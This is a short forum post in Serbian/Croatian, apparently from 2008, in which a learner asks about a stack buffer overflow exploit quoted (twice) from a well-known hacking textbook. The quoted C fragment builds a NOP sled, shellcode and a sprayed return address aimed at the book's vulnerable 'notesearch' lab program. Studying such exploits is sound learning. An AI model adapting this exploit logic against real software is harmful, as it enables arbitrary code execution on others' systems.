buffer overflow pitanje!!!pad se pravi buffer sa (NOP + SHELLCODE + RET addr)
ovo je kod iz art of explotation 2nd edition;
Code:
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret; <---- civa je ova ret addresa ????
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret; <---- civa je ova ret addresa ????
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
i zanimame civa je ova ret adresa??to bi trebalo da bude shellcode adresa? debagovao sam sa gdb i vidio sam da to nema veze sa ona adresa koja se nalazi u ret??
pa ako ima neko da mi pomoci.
Puno Hvala
[Ovu poruku je menjao Shadowed dana 23.04.2008. u 10:07 GMT+1]
brbr
